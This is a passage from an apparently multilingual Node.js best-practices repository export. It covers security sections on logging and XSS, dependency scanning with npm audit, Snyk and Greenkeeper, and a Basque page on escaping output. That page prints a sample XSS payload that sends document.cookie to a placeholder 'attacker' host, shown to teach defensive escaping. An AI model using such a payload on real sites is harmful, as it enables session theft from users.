обновления\r\n- Регистрируйте и проверяйте каждый вызов API для облачных сервисов и служб управления (например, кто удалил корзину S3?), Используя такие сервисы, как AWS CloudTrail.\r\n- Запустите проверку безопасности вашего облачного провайдера (например, советник по безопасности AWS)\r\n\r\n\r\n## ![✔] OWASP A10: недостаточная регистрация и мониторинг\r\n\r\n- Оповещайте о значительных или подозрительных событиях аудита, таких как вход пользователя в систему, создание нового пользователя, изменение разрешения и т.д.\r\n- Оповещайте о нерегулярном количестве неудачных попыток входа в систему (или эквилантировании действий, таких как забытый пароль)\r\n- Включайте в лог время и имя пользователя, который инициировал обновление в каждой записи БД\r\n\r\n## ![✔] OWASP A7: межсайтовый скриптинг (XSS)\r\n\r\n- Используйте шаблоны или фреймворки, которые автоматически выходят из XSS, такие как EJS, Pug, React или Angular. Изучите ограничения каждого механизма защиты XSS и соответствующим образом обработайте случаи использования, которые не охвачены\r\n- Экранируйте ненадежные данные HTTP-запроса на основе контекста в выводе HTML (тело, атрибут, JavaScript, CSS или URL), который устранит уязвимости отраженного и хранимого XSS\r\n- Применение контекстно-зависимых кодировок при изменении документа браузера на стороне клиента действует против DOM XSS\r\n- Включайте политики защиты контента (CSP) в качестве средства защиты от XSS для смягчения защиты.\r\n\r\n\r\n<br/><br/><br/>\r\n"
  },
  {
    "path": "sections/security/dependencysecurity.basque.md",
    "content": "# Etengabe eta automatikoki ikuskatu mendekotasun ba ote dagoen zaurgarritik\n\n### Azalpena\n\nNode.js aplikazio gehienak inork egindako npm edo Yarn modulu ugarietan oinarritzen dira, pakete erregistro ezagunak biak, garatzeko erraztasuna eta azkartasuna dituzte eta. Hala ere, abantaila horren alde txarra da ahulezia ezezagunak dituela zure aplikazioan sartuz gero haren segurtasunari arriskuak eragin ahal dizkiona, hau da, OWASP web aplikazioen segurtasun arrisku larrien zerrendan duten lekuagatik ezagunak direnak.\n\nNode.js aplikazioetan tresna ugari erabil daitezke hirugarrenen paketeetan ahulak diren aplikazioak identifikatzen laguntzeko, zure proiektuan sartzeko arriskua arintze aldera . Horiek aldizka CLI tresnetatik erabil daitezke edo zure aplikazioaren eraikuntza prozesuaren barruan sartu.\n\n### Edukien taula\n\n- [NPM audit](#npm-audit)\n- [Snyk](#snyk)\n- [Greenkeeper](#greenkeeper)\n- [Baliabide osagarriak](#baliabide-osagarriak)\n\n### NPM Audit\n\n`npm audit` NPM @ 6-rekin batera sartutako cli tresna berria da.\n\nNpm auditoretza exekutatzeak segurtasun ahultasunen txostena sortuko du kaltetutako paketearen izenarekin, zaurgarritasunaren larritasunarekin eta deskribapenarekin, bidearekin eta bestelako informazioarekin, eta, gainera, ahultasunak konpontzeko adabakiak aplikatzeko aginduak emango ditu, eskuragarri egonez gero.\n\n![npm audit adibidea](../../assets/images/npm-audit.png)\n\n🔗 [Irakurri: NPM bloga](https://docs.npmjs.com/getting-started/running-a-security-audit)\n\n### Snyk\n\nSnykek funtzio aberatsa duen CLI bat eskaintzen du, baita GitHub integrazioa ere. Horrekin Snyk urrunago doa eta, ahultasunak jakinarazteaz gain, ahuleziak konpontzen dituen erauzte eskaera berriak ere sortzen ditu automatikoki, adabakiak ahulezia ezagunetarako kaleratzen baitira.\n\nSnyken webgune aberatsak mendekotasunak ad-hoc ebaluatzeko aukera ere ematen du GitHub biltegiarekin edo npm moduluaren URLarekin hornituta. Ahuleziak dituzten npm paketeak ere bila ditzakezu zuzenean.\n\nSynk GitHub integrazioaren irteeraren adibide bat, erauzte eskaera automatikoki sortuz:\n![snyk GitHub adibidea](../../assets/images/snyk.png)\n\n🔗 [ Irakurri hemen: Snyk webgunea](https://snyk.io/)\n\n🔗 [Irakurri: Synk onlineko tresna npm paketeak eta GitHub moduluak egiaztatzeko](https://snyk.io/test)\n\n### Greenkeeper\n\nGreenkeeper denbora errealeko menpekotasunen eguneratzeak eskaintzen dituen zerbitzua da, aplikazioak seguruago mantentzen dituena, eguneratutako eta adabakitako menpekotasun bertsioak erabiliz beti.\n\nGreenkeeperrek biltegi baten `package.json` fitxategian zehaztutako npm menpekotasunak ikusten ditu eta automatikoki laneko adar bat sortzen du menpekotasunen eguneratze bakoitzarekin. Biltegirako CI suite exekutatuko da aplikazioan eguneratutako menpekotasun bertsiorako aldaketa aldakorrak agerian uzteko. IEk huts egiten badu menpekotasunaren eguneratzea dela eta, gai argia eta zehatza sortzen da enkantean jarri nahi den biltegian, uneko eta eguneratutako paketeen bertsioak azalduz, informazioarekin eta eguneratutako bertsioaren konpromiso historiarekin batera.\n\nGreenkeeper GitHub integrazioaren irteeraren adibide bat erauzte eskaera automatikoki sortuz:\n\n![synk github adibidea](../../assets/images/greenkeeper.png)\n🔗 [Irakurri: Greenkeeper webgunea](https://greenkeeper.io/)\n\n### Baliabide osagarriak\n\n🔗 [Rising Stack bloga: Node.jsren menpekotasun arriskuak](https://blog.risingstack.com/controlling-node-js-security-risk-npm-dependencies/)\n\n🔗 [NodeSource Bloga: npmen  segurtasuna hobetzea](https://nodesource.com/blog/how-to-reduce-risk-and-improve-security-around-npm)\n"
  },
  {
    "path": "sections/security/dependencysecurity.brazilian-portuguese.md",
    "content": "# Inspecione constante e automaticamente por dependências vulneráveis\n\n### Explicação em um Parágrafo\n\nA maioria das aplicações Node.js depende muito de um grande número de módulos de terceiros do npm ou do Yarn, ambos registros de pacotes populares, devido à facilidade e velocidade de desenvolvimento. No entanto, a desvantagem desse benefício são os riscos de segurança de incluir vulnerabilidades desconhecidas em seu aplicativo, que é um risco reconhecido por seu lugar na lista de riscos de segurança de aplicações web mais importante do OWASP.\n\nHá várias ferramentas disponíveis para ajudar a identificar pacotes de terceiros em aplicativos Node.js que foram identificados como vulneráveis ​​pela comunidade para reduzir o risco de introduzi-los em seu projeto. Eles podem ser usados ​​periodicamente em ferramentas CLI ou incluídos como parte do processo de criação da sua aplicação.\n\n### Índice\n\n- [NPM audit](#npm-audit)\n- [Snyk](#snyk)\n- [Greenkeeper](#greenkeeper)\n\n### NPM Audit\n\n`npm audit` é uma nova ferramenta cli introduzida no NPM@6.\n\nA execução de `npm audit` produzirá um relatório de vulnerabilidades de segurança com o nome do pacote afetado, gravidade da vulnerabilidade e descrição, caminho e outras informações e, se disponíveis, comandos para aplicar correções para resolver vulnerabilidades.\n\n![exemplos do npm audit](../../assets/images/npm-audit.png)\n\n🔗 [Leia em: NPM blog](https://docs.npmjs.com/getting-started/running-a-security-audit)\n\n### Snyk\n\nO Snyk oferece uma CLI rica em recursos, bem como integração com o GitHub. O Snyk vai além disso e, além de notificar vulnerabilidades, também cria automaticamente novas solicitações de pull, corrigindo vulnerabilidades, à medida que os patches são liberados para vulnerabilidades conhecidas.\n\nO site do Snyk, rico em recursos, também permite uma avaliação ad-hoc das dependências, quando fornecido com um repositório do GitHub ou url do módulo npm. Você também pode procurar por pacotes npm que possuem vulnerabilidades diretamente.\n\nUm exemplo da saída da integração do Synk GitHub, solicitação de pull criada automaticamente:\n![exemplo do synk GitHub](../../assets/images/snyk.png)\n\n🔗 [Leia em: Snyk website](https://snyk.io/)\n\n🔗 [Leia em: Ferramenta on-line Synk para verificar pacotes npm e módulos do GitHub](https://snyk.io/test)\n\n### Greenkeeper\n\nO Greenkeeper é um serviço que oferece atualizações de dependência em tempo real, o que mantém um aplicativo mais seguro, sempre usando as versões das dependêcias mais atualizadas e corrigidas.\n\nO Greenkeeper observa as dependências npm especificadas no arquivo `package.json` de um repositório e cria automaticamente uma ramificação com cada atualização de dependência. O conjunto de Integração Contínua (IC) do repositório é então executado para revelar quaisquer alterações significativas para a versão de dependência atualizada no aplicativo. Se o IC falhar devido à atualização de dependência, um problema claro e conciso será criado no repositório para ser analisado, destacando as versões do pacote atual e atualizado, juntamente com informações e histórico de confirmações da versão atualizada.\n\nUm exemplo da saída da solicitação do Greenkeeper GitHub automaticamente criado pull request:\n\n![exemplo do synk github](../../assets/images/greenkeeper.png)\n🔗 [Leia em: site do Greenkeeper](https://greenkeeper.io/)\n\n### Recursos Adicionais\n\n🔗 [Rising Stack Blog: riscos de dependências Node.js](https://blog.risingstack.com/controlling-node-js-security-risk-npm-dependencies/)\n\n🔗 [NodeSource Blog: Melhorando a segurança do npm](https://nodesource.com/blog/how-to-reduce-risk-and-improve-security-around-npm)\n"
  },
  {
    "path": "sections/security/dependencysecurity.french.md",
    "content": "# Inspectez constamment et automatiquement les dépendances vulnérables\n\n### Un paragraphe d'explication\n\nLa majorité des applications Node.js pour des raisons de facilité et de rapidité de développement reposent largement sur un grand nombre de modules tiers de npm ou de Yarn, deux registres de paquets populaires. Cependant, l'inconvénient de cet avantage est le risque d'inclure des vulnérabilités inconnues dans votre application, risque reconnu par son classement dans la liste des principaux risques de sécurité des applications web critiques de l'OWASP.\n\nIl existe un certain nombre d'outils disponibles pour aider à identifier les paquets tiers dans les applications Node.js qui ont été identifiés comme vulnérables par la communauté afin d'atténuer le risque de les introduire dans votre projet. Ceux-ci peuvent être utilisés périodiquement à partir des outils CLI ou inclus dans le cadre du processus de construction de votre application.\n\n### Table des matières\n\n- [NPM audit](#npm-audit)\n- [Snyk](#snyk)\n- [Greenkeeper](#greenkeeper)\n- [Ressources complémentaires](#ressources-complémentaires)\n\n### NPM Audit\n\n`npm audit` est un nouvel outil cli introduit avec NPM@6.\n\nL'exécution de `npm audit` produira un rapport des vulnérabilités de sécurité avec le nom du paquet affecté, la gravité et la description de la vulnérabilité, le chemin et d'autres informations, et si disponibles, des commandes pour appliquer des correctifs pour résoudre les vulnérabilités.\n\n![exemple npm audit](../../assets/images/npm-audit.png)\n\n🔗 [A lire : NPM blog](https://docs.npmjs.com/getting-started/running-a-security-audit)\n\n### Snyk\n\nSnyk propose une CLI riche en fonctionnalités, ainsi qu'une intégration dans GitHub. Snyk va plus loin dans cette démarche et en plus de notifier les vulnérabilités, il crée automatiquement de nouvelles pull requests corrigeant les vulnérabilités au fur et à mesure que des correctifs sont publiés pour des vulnérabilités connues.\n\nLe site web riche en fonctionnalités de Snyk permet également une évaluation adéquate des dépendances lorsqu'il est associé avec un dépôt GitHub ou une URL de module npm. Vous pouvez également rechercher directement les paquets npm qui présentent des vulnérabilités.\n\nUn exemple d'affichage de l'intégration de Snyk avec GitHub qui crée automatiquement un pull request :\n![exemple GitHub avec snyk](../../assets/images/snyk.png)\n\n🔗 [A lire : Site web de Snyk](https://snyk.io/)\n\n🔗 [A lire : Outil en ligne Synk pour vérifier les paquets npm et les modules GitHub](https://snyk.io/test)\n\n### Greenkeeper\n\nGreenkeeper est un service qui propose des mises à jour de dépendances en temps réel, ce qui permet de garder une application plus sûre en utilisant toujours les versions de dépendances les plus récentes et les plus corrigées.\n\nGreenkeeper surveille les dépendances npm spécifiées dans le fichier `package.json` d'un dépôt et crée automatiquement une branche de travail avec chaque mise à jour de dépendance. La suite CI du dépôt est ensuite exécutée pour révéler les changements de rupture de la version de dépendance mise à jour dans l'application. Si le CI échoue en raison de la mise à jour des dépendances, une issue claire et concise est créée dans le dépôt pour être traitée, décrivant les versions actuelles et mises à jour du paquet, ainsi que les informations et l'historique des commits de la version mise à jour.\n\nUn exemple d'affichage de l'intégration de Greenkeeper avec GitHub qui crée automatiquement un pull request :\n\n![exemple Github avec Greenkeeper](../../assets/images/greenkeeper.png)\n🔗 [A lire : Site web de Greenkeeper](https://greenkeeper.io/)\n\n### Ressources complémentaires\n\n🔗 [Blog de Rising Stack : Risques de dépendance de Node.js](https://blog.risingstack.com/controlling-node-js-security-risk-npm-dependencies/)\n\n🔗 [Blog de NodeSource : Améliorez la sécurité de npm](https://nodesource.com/blog/how-to-reduce-risk-and-improve-security-around-npm)\n"
  },
  {
    "path": "sections/security/dependencysecurity.japanese.md",
    "content": "# 定期的に、そして自動的に脆弱性のある依存関係を検査する\n\n### 一段落説明\n\nNode.js アプリケーションの大部分は、開発の容易化とスピードアップを目的として、人気のあるパッケージレジストリである npm や Yarn に存在する多数のサードパーティモジュールに大きく依存しています。しかし、この利点の負の側面は、未知の脆弱性をアプリケーションに含めることによるセキュリティリスクです。このリスクは、OWSAP のクリティカルなウェブアプリケーションセキュリティリスクリストにおいて上位に位置するものです。\n\nプロジェクトに脆弱性を注入してしまうリスクを軽減するために、コミュニティによって脆弱性があると識別された Node.js アプリケーションのサードパーティ製パッケージを特定することができるツールがいくつかあります。これらは CLI ツールから定期的に利用することができますし、アプリケーションのビルドプロセスの一部として含むこともできます。\n\n### 目次\n\n- [NPM audit](#npm-audit)\n- [Snyk](#snyk)\n- [Greenkeeper](#greenkeeper)\n\n### NPM Audit\n\n`npm audit` は NPM@6 において導入された新しい CLI ツールです。\n\n`npm audit` を実行すると、影響を受けるパッケージ名、脆弱性の深刻度と概要、パス、そしてその他の情報を含むセキュリティ脆弱性のレポートが作成され、さらに、利用可能な場合には脆弱性を解決するためのパッチを適用するためのコマンドが表示されます。\n\n![npm audit の例](../../assets/images/npm-audit.png)\n\n🔗 [NPM blog で読む](https://docs.npmjs.com/getting-started/running-a-security-audit)\n\n### Snyk\n\nSnyk は機能豊富な CLI と GitHub インテグレーションを提供しています。Snyk はさらに、脆弱性を通知するだけでなく、既知の脆弱性に対するパッチがリリースされると、脆弱性を修正する新しいプルリクエストを自動的に作成します。\n\nSnyk の機能豊富なウェブサイトでは、GitHub リポジトリや npm モジュールの URL を与えると、依存性のアドホックな評価を実行することもできます。また、脆弱性がある npm パッケージを直接検索することもできます。\n\nSynk Github インテグレーションが自動的にプルリクエストを作成した際の出力結果例:\n![synk GitHub example](../../assets/images/snyk.png)\n\n🔗 [Snyk website で読む](https://snyk.io/)\n\n🔗 [Synk online tool to check npm packages and GitHub modules で読む](https://snyk.io/test)\n\n### Greenkeeper\n\nGreenkeeper はリアルタイムに依存関係のアップデート情報を提供するサービスで、常に最新のパッチが適用された依存関係のバージョンを使用することで、アプリケーションの安全性を維持します。\n\nGreenkeeper は、リポジトリの `package.json` ファイルで指定された npm 依存関係を監視し、依存関係のアップデートごとに作業ブランチを自動的に作成します。その後、リポジトリの CI が実行され、アプリケーション内でアップデートされた依存関係のバージョンの変更点を明らかにします。依存関係のアップデートが原因で CI が失敗した場合、現在のパッケージバージョンとアップデートされたパッケージバージョンの概要と、アップデートされたバージョンの情報とコミット履歴が記載された、明確で簡潔な issue がリポジトリに作成され、議論が交わされます。\n\nGreenkeeper GitHub インテグレーションが自動的にプルリクエストを作成した際の出力結果例:\n\n![synk github example](../../assets/images/greenkeeper.png)\n🔗 [Greenkeeper website で読む](https://greenkeeper.io/)\n\n### 追加資料\n\n🔗 [Rising Stack Blog: Node.js dependency risks](https://blog.risingstack.com/controlling-node-js-security-risk-npm-dependencies/)\n\n🔗 [NodeSource Blog: Improving npm security](https://nodesource.com/blog/how-to-reduce-risk-and-improve-security-around-npm)\n"
  },
  {
    "path": "sections/security/dependencysecurity.md",
    "content": "# Constantly and automatically inspect for vulnerable dependencies\n\n### One Paragraph Explainer\n\nThe majority of Node.js applications rely heavily on a large number of third party modules from npm or Yarn, both popular package registries, due to ease and speed of development. However, the downside to this benefit is the security risks of including unknown vulnerabilities into your application, which is a risk recognised by its place in the OWASP top critical web application security risks list.\n\nThere is a number of tools available to help identify third-party packages in Node.js applications which have been identified as vulnerable by the community to mitigate the risk of introducing them into your project. These can be used periodically from CLI tools or included as part of your application's build process.\n\n### Table of Contents\n\n- [NPM audit](#npm-audit)\n- [Snyk](#snyk)\n- [Greenkeeper](#greenkeeper)\n- [Additional Resources](#additional-resources)\n\n### NPM Audit\n\n`npm audit` is a new cli tool introduced with NPM@6.\n\nRunning `npm audit` will produce a report of security vulnerabilities with the affected package name, vulnerability severity and description, path, and other information, and, if available, commands to apply patches to resolve vulnerabilities.\n\n![npm audit example](../../assets/images/npm-audit.png)\n\n🔗 [Read on: NPM blog](https://docs.npmjs.com/getting-started/running-a-security-audit)\n\n### Snyk\n\nSnyk offers a feature-rich CLI, as well as GitHub integration. Snyk goes further with this and in addition to notifying vulnerabilities, also automatically creates new pull requests fixing vulnerabilities as patches are released for known vulnerabilities.\n\nSnyk's feature rich website also allows for ad-hoc assessment of dependencies when provided with a GitHub repository or npm module url. You can also search for npm packages which have vulnerabilities directly.\n\nAn example of the output of the Snyk GitHub integration automatically created pull request:\n![snyk GitHub example](../../assets/images/snyk.png)\n\n🔗 [Read on: Snyk website](https://snyk.io/)\n\n🔗 [Read on: Synk online tool to check npm packages and GitHub modules](https://snyk.io/test)\n\n### Greenkeeper\n\nGreenkeeper is a service which offers real-time dependency updates, which keeps an application more secure by always using the most up to date and patched dependency versions.\n\nGreenkeeper watches the npm dependencies specified in a repository's `package.json` file, and automatically creates a working branch with each dependency update. The repository CI suite is then run to reveal any breaking changes for the updated dependency version in the application. If CI fails due to the dependency update, a clear and concise issue is created in the repository to be auctioned, outlining the current and updated package versions, along with information and commit history of the updated version.\n\nAn example of the output of the Greenkeeper GitHub integration automatically created pull request:\n\n![synk github example](../../assets/images/greenkeeper.png)\n🔗 [Read on: Greenkeeper website](https://greenkeeper.io/)\n\n### Additional resources\n\n🔗 [Rising Stack Blog: Node.js dependency risks](https://blog.risingstack.com/controlling-node-js-security-risk-npm-dependencies/)\n\n🔗 [NodeSource Blog: Improving npm security](https://nodesource.com/blog/how-to-reduce-risk-and-improve-security-around-npm)\n"
  },
  {
    "path": "sections/security/dependencysecurity.polish.md",
    "content": "# Stale i automatycznie sprawdzaj podatne zależności\n\n### Wyjaśnienie jednym akapitem\n\nWiększość aplikacji Node.js polega w dużej mierze na dużej liczbie modułów innych firm, npm lub Yarn, które są popularnymi rejestrami pakietów, ze względu na łatwość i szybkość programowania. Jednak wadą tej korzyści jest ryzyko związane z bezpieczeństwem wynikające z włączenia nieznanych luk w zabezpieczeniach aplikacji, które to ryzyko jest rozpoznawane po umieszczeniu go na liście najważniejszych zagrożeń bezpieczeństwa aplikacji internetowych OWASP.\n\nDostępnych jest wiele narzędzi pomagających w identyfikacji pakietów stron trzecich w aplikacjach Node.js, które zostały zidentyfikowane przez społeczność jako podatne na zagrożenia, w celu zmniejszenia ryzyka wprowadzenia ich do projektu. Można ich używać okresowo z narzędzi CLI lub dołączać jako część procesu kompilacji aplikacji.\n\n### Spis treści\n\n- [NPM audit](#npm-audit)\n- [Snyk](#snyk)\n- [Greenkeeper](#greenkeeper)\n\n### NPM Audit\n\n`npm audit` to nowe narzędzie cli wprowadzone z NPM@6.\n\nUruchomienie `npm audit` wygeneruje raport o słabych punktach bezpieczeństwa wraz z nazwą pakietu, istotnością i opisem podatności, ścieżką i innymi informacjami oraz, jeśli są dostępne, polecenia zastosowania łat w celu usunięcia luk.\n\n![npm audit example](../../assets/images/npm-audit.png)\n\n🔗 [Czytaj: NPM blog](https://docs.npmjs.com/getting-started/running-a-security-audit)\n\n### Snyk\n\nSnyk oferuje bogaty w funkcje interfejs CLI, a także integrację z GitHub. Snyk idzie dalej i oprócz powiadamiania o lukach, automatycznie tworzy również nowe pull requesty, usuwając luki w miarę wydawania łat na znane luki.\n\nBogata w funkcje strona internetowa Snyka pozwala również na ocenę ad-hoc zależności, jeśli jest dostarczana z repozytorium GitHub lub adresem URL modułu npm. Możesz także wyszukiwać pakiety npm, które mają luki bezpośrednio.\n\nPrzykład danych wyjściowych integracji Synk GitHub automatycznie utworzony pull request:\n![synk GitHub example](../../assets/images/snyk.png)\n\n🔗 [Czytaj: Snyk website](https://snyk.io/)\n\n🔗 [Czytaj: Synk online tool to check npm packages and GitHub modules](https://snyk.io/test)\n\n### Greenkeeper\n\nGreenkeeper to usługa oferująca aktualizacje zależności w czasie rzeczywistym, która zapewnia bezpieczeństwo aplikacji, zawsze używając najbardziej aktualnych i poprawionych wersji zależności.\n\nGreenkeeper śledzi zależności npm określone w pliku `package.json` repozytorium i automatycznie tworzy działającą gałąź przy każdej aktualizacji zależności. Następnie uruchamiany jest pakiet CI repozytorium w celu ujawnienia wszelkich przełomowych zmian w zaktualizowanej wersji zależności w aplikacji. Jeśli CI nie powiedzie się z powodu aktualizacji zależności, w repozytorium, które ma zostać auctioned, powstaje wyraźny i zwięzły problem, przedstawiający aktualne i zaktualizowane wersje pakietów, a także informacje i historię zatwierdzeń zaktualizowanej wersji.\n\nPrzykład danych wyjściowych integracji Greenkeeper GitHub tworzący automatycznie pull request:\n\n![synk github example](../../assets/images/greenkeeper.png)\n🔗 [Czytaj: Greenkeeper website](https://greenkeeper.io/)\n\n### Dodatkowe źródła\n\n🔗 [Rising Stack Blog: Node.js dependency risks](https://blog.risingstack.com/controlling-node-js-security-risk-npm-dependencies/)\n\n🔗 [NodeSource Blog: Improving npm security](https://nodesource.com/blog/how-to-reduce-risk-and-improve-security-around-npm)\n"
  },
  {
    "path": "sections/security/dependencysecurity.russian.md",
    "content": "# Постоянно и автоматически проверяйте наличие уязвимых зависимостей\n\n### Объяснение в один абзац\n\nИз-за простоты и скорости разработки большинство приложений Node.js в значительной степени зависят от большого количества сторонних модулей из npm или Yarn, обоих популярных реестров пакетов. Однако недостатком этого преимущества являются риски безопасности, связанные с включением неизвестных уязвимостей в ваше приложение, что является риском, признанным по его месту в списке важнейших угроз безопасности веб-приложения OWASP.\n\nСуществует ряд инструментов, помогающих идентифицировать сторонние пакеты в приложениях Node.js, которые были определены сообществом как уязвимые, чтобы снизить риск их внедрения в ваш проект. Они могут периодически использоваться из инструментов CLI или включаться как часть процесса сборки вашего приложения.\n\n### Оглавление\n\n- [NPM audit](#npm-audit)\n- [Snyk](#snyk)\n- [Greenkeeper](#greenkeeper)\n- [Дополнительные ресурсы](#дополнительные-ресурсы)\n\n### NPM audit\n\n`npm audit` - это новый инструмент CLI, представленный в NPM@6.\n\nЗапуск `npm audit` выдаст отчет об уязвимостях безопасности с указанием имени уязвимого пакета, серьезности и описания уязвимости, пути и другой информации, а также, если доступно, команд для применения исправлений для устранения уязвимостей.\n\n![npm audit example](../../assets/images/npm-audit.png)\n\n🔗 [Читайте еще: NPM blog](https://docs.npmjs.com/getting-started/running-a-security-audit)\n\n### Snyk\n\nSnyk предлагает многофункциональный интерфейс командной строки, а также интеграцию с GitHub. Snyk идет дальше с этим и в дополнение к уведомлению об уязвимостях также автоматически создает новые запросы извлечения, исправляющие уязвимости, по мере выпуска исправлений для известных уязвимостей.\n\nМногофункциональный веб-сайт Snyk также позволяет проводить специальную оценку зависимостей, когда предоставляется GitHub-репозиторий или URL-адрес модуля npm. Вы также можете искать пакеты npm, которые имеют уязвимости напрямую.\n\nПример вывода интеграции Synk GitHub с автоматически созданным пул-запросом:\n![synk GitHub example](../../assets/images/snyk.png)\n\n🔗 [Читайте еще: Snyk website](https://snyk.io/)\n\n🔗 [Читайте еще: Synk online tool to check npm packages and GitHub modules](https://snyk.io/test)\n\n### Greenkeeper\n\nGreenkeeper - это сервис, который предлагает обновления зависимостей в режиме реального времени, которые обеспечивают безопасность приложения, всегда используя самые последние обновления и исправленные версии зависимостей.\n\nGreenkeeper следит за зависимостями npm, указанными в файле `package.json` репозитория, и автоматически создает рабочую ветку с каждым обновлением зависимостей. Затем запускается пакет CI репозитория, чтобы выявить любые критические изменения для обновленной версии зависимости в приложении. Если CI завершается неудачно из-за обновления зависимостей, в хранилище, которое будет выставлено на аукцион, создается ясная и краткая проблема, в которой указаны текущие и обновленные версии пакета, а также информация и история изменений обновленной версии.\n\nПример вывода интеграции Greenkeeper GitHub с автоматически созданным запросом на извлечение:\n\n![synk github example](../../assets/images/greenkeeper.png)\n🔗 [Читайте еще: Greenkeeper website](https://greenkeeper.io/)\n\n### Дополнительные ресурсы\n\n🔗 [Rising Stack Blog: Node.js dependency risks](https://blog.risingstack.com/controlling-node-js-security-risk-npm-dependencies/)\n\n🔗 [NodeSource Blog: Improving npm security](https://nodesource.com/blog/how-to-reduce-risk-and-improve-security-around-npm)\n"
  },
  {
    "path": "sections/security/escape-output.basque.md",
    "content": "# Ihes irteera\r\n\r\n### Azalpena\r\n\r\nHTML eta beste web lengoaia batzuek kode egikarigarriarekin nahasten dute edukia. HTML paragrafo bakar batek datuen irudikapen bisuala izan dezake JavaScript egikaritzeko argibideekin batera. HTMLa kargatzean edo APItik datuak itzultzean, gure ustez eduki hutsa denak JavaScript kodea har lezake, nabigatzaileak interpretatu eta egikaritzeko modukoa. Hori gertatzen da, adibidez, erasotzaile batek datu base batean txertatutako edukia kargatzen dugunean, adibidez `<div><script>//kode maltzurra</script></div>`. Hori arindu daiteke arakatzaileari aginduz konfiantzazko datuen zatiak edukitzat soilik tratatzeko eta inoiz ez interpretatzeko. Teknika horri ihes egitea deritzo. Npm liburutegi eta HTML txantiloi motor askok ihes egiteko baliabideak eskaintzen dituzte (adibidez: [escape-html](https://github.com/component/escape-html), [node-esapi](https://github.com/ESAPI/node-esapi))). HTML edukiak ez ezik CSSk eta JavaScriptek ere ihes egin beharko lukete\r\n\r\n\r\n\r\n### Kode adibidea: ez jarri fidagarritasunik gabeko daturik zure HTMLan\r\n\r\n```html\r\n<script>...INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN...</script>   zuzenean scriptean\r\n\r\n <!--...INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN...-->             HTML komentario baten barruan\r\n\r\n <div ...INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN...=test />       ezaugarri izen batean\r\n\r\n <INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN... href=\"/test\" />   tag izen batean\r\n\r\n <style>...INOIZ EZ JARRI FIDAGARRIA EZ DEN KODEA HEMEN...</style>   CSSan zuzenean\r\n\r\n```\r\n\r\n### Kode adibidea: datu base batean txerta daitekeen eduki kaltegarria\r\n\r\n```html\r\n<div>\r\n  <b>Komentario bat</b>\r\n  <script>\r\n    window.location='http://attacker/?cookie='+document.cookie\r\n</script>\r\n</div>\r\n\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Blog aipua: \"Pertsonaiak interpretatuak izatea nahi ez dugunean\"\r\n\r\n[benramsey.com](https://benramsey.com/articles/escape-output/) bloga:\r\n> Datuak modu askotara irten daitezke  zure aplikaziotik: web nabigatzaile bati bidalitako HTML moduan, SQL datu basera bidalita, XML RSS irakurgailura bidalita, WML haririk gabeko gailu batera bidalita, etab. Aukerak mugagabeak dira. Horietako bakoitzak bere karaktere bereziak ditu, multzoka jasotzen dituena, eta  jasotako gainerako testu arruntaren aldean desberdin interpretatzen dena. Batzuetan, karaktere berezi horiek bidali nahi ditugu interpretatuak izan ahal izateko (HTML nabigatzaile batera bidalitako HTML etiketak, adibidez); beste batzuetan (erabiltzaileek edo beste iturri batzuek egindako sarreren kasuan), ez dugu nahi karaktere horiek interpretatuak izan daitezen, eta, beraz, ihes egin behar diegu.\r\n\r\n> Ihes egiteari kodetzea ere esaten zaio batzuetan: ihes egitea edo kodetzea,  laburbilduz,, datuak egikaritu edo interpretatuko ez diren moduan irudikatzeko prozesua da, alegia. Adibidez, HTMLk honako testu hau letra lodiz idatziko du web nabigatzaile batean `<strong>`etiketek esanahi berezia dutelako:\r\n> ```html\r\n> <strong>Testu hau letra lodiz idatzita dago.<strong>\r\n> ```\r\n>\r\n> Baina, demagun etiketak nabigatzailean kargatu nahi ditudala eta haien interpretazioa ekidin nahi dudala. Orduan, HTMLan esanahi berezia duten parentesi angeluarretatik ihes egin behar dut. Hona hemen ihes egindako HTMLa:\r\n>\r\n> ```html\r\n> &lt;strong&gt;Testu hau letra lodiz idatzita dago.&lt;/strong&gt;`\r\n> ```\r\n\r\n<br/><br/>\r\n\r\n### Blog aipua:  \"OWASPek segurtasunera bideratutako kodeketa liburutegia erabiltzea gomendatzen du\"\r\n\r\nOWASP [XSS (Cross Site Scripting) Prebentzio tranpa orria](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) bloga:\r\n> \"Kodetzaile horiek idaztea ez da oso zaila, baina tranpa ugari daude ezkutuan. Adibidez, Javascripten bezalako lasterbide batzuk\" erabiltzeko tentazioa izan dezakezu. Hala ere, balio horiek arriskutsuak dira, eta nabigatzailean habiaratutako analizatzaileek oker interpreta ditzakete. Baliteke  zuri ahaztea ihes egitea ihes pertsonaiarengandik, erasotzaileek erabil dezaketeena neutralizatzeko zure segurtasun ahaleginak. **OWASPek gomendatzen du segurtasunera bideratutako kodeketa liburutegiak erabiltzea, arauak behar bezala ezartzen direla ziurtatzeko**.\"\r\n\r\n<br/><br/>\r\n\r\n### Blog aipua: \"Ihes sintaxia erabili behar duzu HTML zatian\"\r\n\r\nOWASP [XSS (Cross Site Scripting) Prebentzio tranpa orria](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) bloga:\r\n> \"Baina HTML entitate kodeketak ez du ondo funtzionatzen `<script>` etiketa baten barruan datu ez fidagarriak jartzen badituzu edozein lekutan, edo onmouseover bezalako gertaeren kudeatzailearen atributu batean edo CSS barruan, edo URL batean. Beraz, toki guztietan HTML entitate kodeketaren bat erabiltzen baduzu ere, ziurrena da XSSen erasoekiko zaurgarria izaten jarraituko duela. Ihes sintaxia erabili behar duzu fidagarriak ez diren datuak jartzen ari zaren HTML dokumentuaren zatian.\"\r\n"
  },
  {
    "path": "sections/security/escape-output.brazilian-portuguese.md",
